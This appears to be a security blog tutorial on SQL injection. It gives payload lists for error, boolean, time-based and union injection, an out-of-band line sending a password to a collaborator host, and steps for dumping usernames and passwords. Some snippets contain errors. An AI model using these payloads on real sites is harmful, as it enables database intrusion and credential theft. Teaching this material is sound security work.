Ultimate Guide To SQL Injection – Part I

  • Home
  • Ultimate Guide To SQL Injection – Part I
Ultimate Guide To SQL Injection – Part I
Ultimate Guide To SQL Injection – Part I
Ultimate Guide To SQL Injection – Part I
Ultimate Guide To SQL Injection – Part I

Cybersecurity expert and hacker Jeff Forristal initially described the SQL injection attack in 1998. It has been more than two decades since its discovery and it is still leading the Owasp Top 10. To define SQL injection vulnerability we can say that when invalid or incompletely verified strings are combined into a dynamic SQL query and interpreted as code by the SQL engine, this is referred to as SQL Injection. Discovering SQL injection has become more challenging as the awareness of web application security has fostered over the years but methods of finding SQL injections has also evolved along the way due to emerging vulnerability detection methods and tools. Let us see all these concepts in depth.

Structured Query Language 

SQL (Structured Query Language) is a programming language for connecting with databases. Queries are often used to input data, edit the database, or simply access the needed data for data processing. Databases are used in modern web applications to manage data and present dynamic material to viewers. Basic database operation includes 

  • INSERT- Inserting new records into a table is done with the INSERT statement. 
INSERT INTO table_name (column1, column2)
VALUES (value1, value2);
  • UPDATE- The UPDATE command is applied to change the contents of a table’s existing records. 
UPDATE table_name
SET column1 = value1, column2 = value2 WHERE condition;
  • SELECT- Extract database content from a database. 
SELECT column1, column2, ...
FROM table_name;
  • DELETE- Deletes data from a database.
DELETE FROM table_name WHERE condition;

To understand this concept, here is an example where we use insert statement to insert values in database table Users1 and retrieve that data using select statement.

INSERT INTO Users1 (Username, Password)
VALUES ('SecurityBoat','SQL@123');

This statement will result in the message “1 row has been updated.”

To retrieve these changes we will use the “Select” statement as mentioned below.

select * from Users1;

In this way, we can fetch table records as given below.

SQL Query Results

After understanding the SQL statements, let us consider an example where the input string is directly concatenate to SQL query in background which causes SQL injection attack, here the web application uses the following function to perform login operation.

$sql = "SELECT * FROM users where login=";
$sql.= $user;
$sql.='"and password=md5('";
$sql.= $password;
$sql.= "')";
$result = mysql_query($sql);

As we can see there is no protection used because the application is allowing user to input everything is cleartext without applying filters. Let us get more into the SQL injection. 

SQL Injection Attack 

A SQL injection attack involves inserting or “contaminating” a SQL query into the program via the client’s input data. It is a vulnerability that can potentially allow attackers to tamper with a database query made by an application. An impactful SQL injection exploit may retrieve sensitive information from the database, alter database data, perform database server operations, recover the content of a given file on the DBMS file system, and, in some cases, issue commands to the operating system. An attacker in certain circumstances escalates a SQL injection to breach the host server and other systems or launch a denial-of-service attack. 

Example, 

SELECT username, password FROM table WHERE category = 'I23' AND released = 1; 

This query uses the category parameter for retrieving Username and Password from the database. 

Now what will happen if the value of parameter category is changed to

SELECT username, password FROM table WHERE category = 'I23' --+' AND released = 1; 

The injection will terminate the possible execution of the rest of the query. We will see detailed approach in the exploitation part of the blog.

Key Points 

Most people think that implementing a Firewall, IDS, and encryption through Secure socket layer (SSL) protects them from injection vulnerabilities.

 1. Access to private network resources may be made possible through flaws in the web application or online programs. The web server becomes a part of the outdoor security layers when it can be accessed over ports 80 and 443.  

2. Web pages with post-based forms transmit this data or system server using the Post Request command. 

3. SSL encrypts data being sent between a web server and a user’s browser, but it does not defend against attacks on the server or its applications.  IDS protects websites against well-known attacks but does not protect against customized application attacks with custom crafted payloads. 

4. Modified payloads work against web applications depending upon the rule set implemented by the security flow systems. Places where the URL string is directly populated with database parameters are also key in sql injection scenarios. 

Thus, custom made injection payload works against web applications. 

A SQL Injection Attack Workflow 

SQL injection often happens when an user provides a malicious SQL syntax in the form of input via login form or any user controllable parameter.

Look at the following example which creates a SELECT statement by adding a variable value depending upon the User Identifier to a select data from the relational database and paste it on the user screen. The variable is fetched from user input user identifier as mentioned below in the URL.

Attack Workflow

1) Attacker injects ‘or 1=1 payload at the end of the URL string which enables him to fetch any resources beyond the scope of his account.

https://sqlinjectable.com/?superuserid=789 'or 1=1 

2) Attacker forces database to ignore rest of the query. 

Select * from users where superuserid='789' or 1=1 ;

3) Return data from database to the server of all users.  

4) Attacker receives data from the server after successful execution of sql injection attack. 

In this manner sql injection attack take place. 

Injection Point 

The SQL injection payload can be injected into the methods and headers as given below,

  • Get Based – The parameters directly present in the URL such as id, user, etc. In fact, it is not only limited to parameters, it can also be injected at the end of URL such as “/api/user/897′ #”.
  • Post Based– The parameters present in the post request body residing in the post-body such as login form and contact-us form. 
  • Cookie Based – The cookie parameters are also the injection point for the sql injection payloads.
  • Header Based– The user agent, the content-type headers might be vulnerable to Sql injection attacks. 

Detecting SQL Injections  

To identify SQL injection, there are some techniques which are available. 

  1. Insert a single quote or any appropriate distinctive character in the injection point to spot the errors.
  1. Insert SQL query in order to retrieve different responses resulting after the injection. 
  1. Conditions given as below also make web applications throw different results such as “Right SQL Query” or nothing gets displayed at all in the response.
AND 1=1 or AND 1=2                         
  1. Causing time delays with the help of time-based SQL payloads and analyzing slow response time. 
  1. Out-of-band network interactions caused due to trigger within SQL statements. 

Note: ” \ ” is the most popular character used for query breaking as it bisects the use of special character. 

Breaking and Fixing SQL Query

In order to inject SQL injection payloads, one needs to break the SQL query and fix it, allowing us to identify where to inject SQL payloads. 

1) For breaking the query, most of the characters used are

' 
"
')
") 
')) 
")) 
*

or any other special character depending on the application.

For example,

https://sqlinjectable.com/?category=I23' 

Now the select query becomes

SELECT username, password FROM table WHERE category = 'I23'  '

This insertion results in a response from the server as

“You have an error in your SQL syntax;” .

2) After breaking the query, our next task is to comment out the rest of the query. To understand this better, consider an example, so the application contains queries such as

https://sqlinjectable.com/?category=I23 

SELECT username, password FROM table WHERE category = 'I23' AND released =1; 

This query has two parts.  

Part 1. SELECT username, password FROM table WHERE category = ‘I23’ 

Part 2. AND released =1; 

The second part is commented out while fixing the query.

3) Now what happens is when you insert the string in “category” the whole string of select statement gets executed, but we want control over the execution, to do that we need to comment out Part 2 of the query. 

4) Character strings such as #, –+, — ,etc. are used to fix the query.  

SELECT username, password FROM table WHERE category = '1' --+' 

5) The space between the 1’ and –+, is the place where our payloads will be injected.

SELECT username, password FROM table WHERE category = '1' order by 1 --+' 

In this manner you will be ready to inject SQL payloads.

Error Based SQL injection 

An in-band SQL Injection approach called error-based SQLi uses the database server’s error messages to gather details about the database’s structure. An attacker may sometimes enumerate an entire database using just error-based SQL injection. 

Example:

When an atttacker injects single quote to URL

https://sqlinjectable.com/?category=1' 

It results in following response.

<span>
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 
</span> 

Now if attacker appends –+ , it becomes

https://sqlinjectable.com/?category= 1'--+

which results in following response.

<span>
Category: Security
</span> 

This will return the normal response used most of the times. 

Boolean Based Injection  

An SQL query is sent to the database using the Boolean-based SQL injection approach, which forces the application to provide a different response based on what the query delivers a “True” or “False” result. Let us understand it via an example.

https://sqlinjectable.com/?id=2

If the attacker alters this query to 

SELECT username FROM users WHERE ID = 2 and 1=2; 

<span>…</span>.

it should return us “False” in the response. Now if we construct the query as  

SELECT username FROM users WHERE ID = 2' and 1=1 --+; 

<span>You are at right place…</span> 

Similarly in the above scenario, it should return “True” in the response. Remember that it is not necessary that it return “True or False” only, it can be any suttle change in the response. 

Time Based Sql Injection 

An instance of an inferential injection or blind injection attack is time-based SQL injection. A sort of attack known as an inferential injection attack prevents data from being exchanged between the attacker and the database, making it more difficult for the attacker to obtain results than in an in-band injection assault. Because of this, it is often referred to as a blind injection assault.

The following alteration will result in web application to respond 5 seconds later after request.

https://sqlinjectable.com/?id=2 ' or sleep(5)# 

SELECT username FROM users WHERE ID = 2' or sleep(5) # 

The character “#” is applied to fix the query in this example. Given below are some example of time based SQLi payloads.

")) or sleep(5)="
')) or sleep(5)='
;waitfor delay '0:0:5'-- 
);waitfor delay '0:0:5'-- 
';waitfor delay '0:0:5'--
1 or pg_sleep(5)-- 
" or pg_sleep(5)-- 
' or pg_sleep(5)--

Moving on to the next type, which is

Union-based SQLi 

Union-based SQL injection uses the UNION SQL function to aggregate the effect of two or even more SELECT queries into a single result, which is subsequently delivered as component of the Response message. Union-based SQL injection is a type of in-band SQL injection.  

UNION ALL SELECT 1,2,3 

https://sqlinjectable.com/?pid=-1’ union all select 1,2,3 --+ 

This insertion is performed after determining the number of columns with the help of order by statement. We will understand this in detail as we move ahead.

Out-of-band SQLi  

Since it depends on functionality being accessible on the server that is used by the web-based application, SQL Injection is not particularly frequent. When an attacker can’t utilize the same channel to start the attack and acquire information, an out-of-band SQL Injection happens. If the server answers are not particularly consistent, out-of-band techniques provide an attacker with an option to inferential time-based tactics. 

SELECT+password+FROM+users+WHERE+username%3d'admin INTO OUTFILE '\ xyz.burpcollaborator.net\a'

Dumping The Database

The application takes cat as a parameter and displays username and password in the Get-based scenario:  

https://sqlinjectable.com/?cat=1

The SQL queries fetch details from the database on the other side of the system. 

SELECT username, password FROM users WHERE cat= '1' and rest of the query

The SQL statement will return:  

  • Username and password 
  • from the user’s table  
  • where the category is the numeric value  
  • and the rest of the query  

To successfully inject SQL payloads, we need to break and fix the query in order to understand the injection point. 

https://sqlinjectable.com/?cat=1' --+ 

This results in the SQL query:  

SELECT username, password FROM users WHERE cat= '1' --+ ' AND ….(other part of the query) 

Note: In the above case error will be generated as the number of single quotes are odd, which is 3. 

Now the –+ comments out the rest of the query, making room for injecting SQL payloads. The first task is to determine the number of columns. For that, we will use the “order by” in the query. 

Order By- It is utilized to order views according to the results of the queries’ first column.  

Determine the number of columns  

To determine the number of columns, we use 

https://sqlinjectable.com/?cat=1' order by 1 --+ 

We will go from 1 to n number till we get the desired number of columns present in the database. 

https://sqlinjectable.com/?cat=1' order by n --+ 

Here n is an nth column. 

Checking for vulnerable columns 

The statement  

https://sqlinjectable.com/?cat=-1' union all select 1,2,3,4,5 --+ 

determines which values are user-injectable.

The ones reflected in the response are regarded as injectable or user controllable inputs. These columns are the source for data retrieval. 

Note: We have used the cat parameter’s value as –1, as the first query overrides the second one unless unexpected values are inserted, which are –1 or 99999999999999999; we must use –1. 

Fetching Database and version 

Let us assume there are 2 vulnerable columns in the database which are 2 and 3 . 

https://sqlinjectable.com/?cat=-1' union all select 1, database(), 3 --+ 

Database()- It is a function to fetch the database name at the back end. 

Now the database function gets displayed in the following manner. 

https://sqlinjectable.com/?cat=-1' union all select 1,@@version,3 --+ 

Version()- This function is applied to retrieve the SQL version being used behind the web server. 

Fetching table name  

The following command is applied to get the table name in the database  

https://sqlinjectable.com/?cat=-1' union all select 1,table_name,3 from information_schema.tables 

Now there is more than one database, thus we can extract tables from the database as per given method 

https://sqlinjectable.com/?cat=-1' union all select 1,table_name,3 from information_schema.tables where table_schema=database() --+ 

Fetching exact table name 

To get the exact table at a certain position 

https://sqlinjectable.com/?cat=-1' union all select 1,table_name,3 from information_schema.tables where table_schema=database()  limit 0,1--+ 

Limit- This clause is used to return several records which can be mentioned as per this technique. 

https://sqlinjectable.com/?cat=-1' union all select 1,table_name,3 from information_schema.tables where table_schema=database()%20 limit 3,3--+

This way you can traverse the entire range of table names. 

Fetching all tables and columns 

Group_concat is one of the most useful functions or clauses which ensures the retrieval of several records at once; here is the application of the same

https://sqlinjectable.com/?cat=-1' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 

Let us see how to get columns as well 

https://sqlinjectable.com/?cat=-1' union all select 1, group_concat(column_name),3 from information_schema.columns%20 --+ 

Fetching columns from a particular table 

In order to retrieve the column from a table, we will use  following injection.

https://sqlinjectable.com/?cat=-1' union all select 1, group_concat(column_name),3 from information_schema.columns where table_name='users' --+

Dumping Data 

The application responds to the following with a list of usernames and passwords 

 https://sqlinjectable.com/?cat=-1' union all select 1,group_concat(username),group_concat(password) from users --+ 

This is the way in which you can exploit sql injection vulnerabilities. 

This was just an introduction to the sql injection basics, next time we will see more advanced scenarios and SQL types which can be exploited further. So stay tuned!!!!

References:

  1. SQL Injection by Portswigger 
  1. Owasp SQL injection 
  1. SQLi And prevention by Knowledgehut 
  1. SQLi by Kinsta 
  1. SQLi by Intigrity 
  1. SQLi attack by Brighsec 
  1. Types of SQLi by Indusface 
  2. SQLi Master course by owasp-academy

Also read our previous blog here!!

Leave a Reply

Your email address will not be published. Required fields are marked *